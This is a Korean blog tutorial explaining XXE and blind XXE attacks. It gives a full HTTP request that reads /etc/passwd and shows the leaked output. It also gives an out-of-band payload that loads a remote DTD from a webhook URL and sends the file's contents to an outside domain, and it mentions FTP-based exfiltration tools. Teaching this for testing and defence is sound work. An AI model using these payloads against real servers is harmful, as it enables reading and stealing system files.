티스토리 뷰

728x90
반응형

일반적으로 XXE(XML External Entity) 공격이라 함은 XML content-type 의 데이터를 웹 요청을 통해서 전송하고 서버에서 XML 외부 엔티티가 처리 가능하게 설정된 경우 발생하는 취약점을 말합니다. 그리고 이런 XXE 공격이 동작하는 취약한 서버의 경우 대부분 Response 결과에 공격자가 기대하는 페이로드의 실행 값이 포함되어 있을 것입니다.

 

가장 간단한 예시는 아래와 같습니다. 아래와 같은 Request 요청을 Client-side에서 보냈다고 했을 때

POST /test-xxe.do HTTP/1.1
Host: domdom.example.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: text/xml; charset=UTF-8
Content-Length: 125

<!DOCTYPE data [
<!ENTITY XXE SYSTEM "file:///etc/passwd">
]>
<data>&XXE;</data>

 

공격자가 /etc/passwd 파일을 요청했기에 해당 파일의 내용이 나오는 일반적인 상황입니다.

HTTP/1.1 200 OK
Server: Domdom
Date: Fri, 15 Apr 2022 14:50:42 GMT
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Length: 1321
Connection: close

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
...(생략)...

 

Blind XXE 의 경우에는 위의 경우처럼 출력된 결과물 또는 페이지에 우리가 원하는 실행한 페이로드의 결과값이 나오지 않을 때 사용되는 공격 기법이라고 생각하면 되겠습니다. 바로 out of band(OOB) 를 통해서 데이터를 추출하는 방법입니다.

 

Blind XXE 를 테스트해볼 수 있는 가장 간단한 방법은 request bin 과 같이 원격지 요청을 대신 받아줄 수 있는 사이트를 이용하면 됩니다. (물론 본인의 개인 서버가 있다면 그걸 사용하셔도 무방하지만요)

 

<?xml version="1.0" ?>
<!DOCTYPE x [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "https://webhook.site/68c20b32-4be9-4dc7-ac8c-1c48944929f0/xxe.dtd">
  %dtd;
  %eval;
  %exfil;
]>

그리고 위 페이로드에서 사용된 request bin 인 webhook 에서는 response 로 아래와 같은 dtd 파일 내용을 content-type: text/xml로 응답해줍니다.

<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://domdom.sample.com/?%file;'>">

아래 스크린샷은 실제로 위 내용을 webhook 사이트에 적용한 모습입니다. 아래와 같이 별도로 응답해줄 Response Content-Type 과 Response Body를 설정해줄 수 있습니다.

 

그럼 domdom.sample.com 도메인의 파라미터로 /etc/passwd 파일 내용의 일부가 붙어져서 보내지는 것을 확인할 수 있을 겁니다.

 

위의 XML 파싱 과정을 순서대로 나열하면, 우선 ENTITY file 에 /etc/passwd 파일의 내용을 가져와서 저장하고, ENTITY dtd 에 외부 xxe.dtd 내용을 가져와서 저장합니다. 그리고 xxe.dtd 에서 domdom.sample.com으로 요청을 수행하는 ENTITY eval 을 만듭니다. 그리고 파라미터로 넘겨준 %file; 은 /etc/passwd 파일의 내용으로 바뀝니다. 마지막으로 domdomi 태그 안에 있는 &eval; 를 파싱하여 요청을 수행하게 됩니다.

 

단순히 http 프로토콜을 이용해서 URL 파라미터에 파일 내용을 붙여넣게 되면 많은 내용을 가진 파일을 보낼 때는 제한이 발생하게 됩니다. 이 때 FTP 프로토콜을 사용하게 되면 훨씬 더 큰 크기의 파일들을 보낼 수 있어 매우 편리합니다.

이를 위한 코드도 존재하는데 Github에 XXE-FTP 라고 쳐보면 여러개 나오는데 그 중 하나를 공유해봅니다.

https://github.com/staaldraad/xxeserv

 

GitHub - staaldraad/xxeserv: A mini webserver with FTP support for XXE payloads

A mini webserver with FTP support for XXE payloads - GitHub - staaldraad/xxeserv: A mini webserver with FTP support for XXE payloads

github.com

 

728x90
반응형
댓글